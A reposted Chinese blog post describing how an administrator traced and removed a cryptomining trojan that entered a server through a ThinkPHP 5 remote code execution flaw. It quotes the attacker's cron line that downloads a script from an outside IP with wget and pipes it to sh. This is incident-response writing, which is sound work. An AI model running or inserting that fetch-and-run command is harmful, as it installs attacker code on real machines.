挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马
时间:2021-04-21
来源:互联网
今天PHP爱好者给大家带来下面由thinkphp教程栏目给大家介绍处理一个利用thinkphp5远程代码执行漏洞挖矿的木马的方法,希望对需要的朋友有所帮助!
记一次挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马
昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用
执行命令为 :
/tmp/php -s /tmp/p2.conf
基本可以确定是被挂马了
下一步确定来源
last 没有登陆记录
先干掉这几个进程,但是几分钟之后又出现了
先看看这个木马想干什么吧
netstat 看到 这个木马开启了一个端口和国外的某个ip建立了连接
但是tcpdump了一小会儿 没有发现任何数据传递
这他是想干啥?
继续查看日志吧
在cron日志中发现了www用户 有一个crontab定时操作 基本就是这个问题了
wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1
顺着下载了几个问题,看了看 应该是个挖矿的木马程序
服务器上的www用户 是安装 lnmp 创建的,看了来源很可能就是web漏洞了。
再看/tmp下的php的权限 就是www的
查看 lnmp下几个站的日志 发现是利用 thinkphp 5最近爆出的远程代码执行漏洞
漏洞细节:https://nosec.org/home/detail/2050.html
修复一下问题解决
但是 这个站点是测试站点 端口监听的是 8083 ,难道现在黑客能开始嗅探非常规端口了?
来源:https://www.simapple.com/425.html
以上就是挂马清除经历:处理一个利用thinkphp5远程代码执行漏洞挖矿的木马的详细内容,更多请关注php爱好者其它相关文章!
-
光遇8月27彩虹代币收集攻略 时间:2024-12-05
-
数据库脱敏是什么意思 数据库脱敏的方式 数据库脱敏工具 时间:2024-12-05
-
光遇8月27季节蜡烛收集攻略 时间:2024-12-05
-
未来人生怎么制造装备 时间:2024-12-05
-
条件编译的三种格式 条件编译和条件语句的区别 时间:2024-12-05
-
未来人生属性提升方法 时间:2024-12-05
今日更新
- wlan直连是什么意思
阅读:21
- 20+道必知必会的Vue面试题(附答案解析)
阅读:37
- css如何做三角形
阅读:18
- 详解多个node版本下如何指定版本运行项目?
阅读:21
- 重温MySQL锁机制
阅读:18
- css怎么设置元素高度为20px
阅读:18
- 前端面试之6种经典排序算法的实现,你会几种?( 附动图+视频)
阅读:18
- 详解怎么实现Go超时控制
阅读:19
- 50道面试官必问的Laravel面试题【附答案】
阅读:20
- php如何压缩图片保持大小不变
阅读:22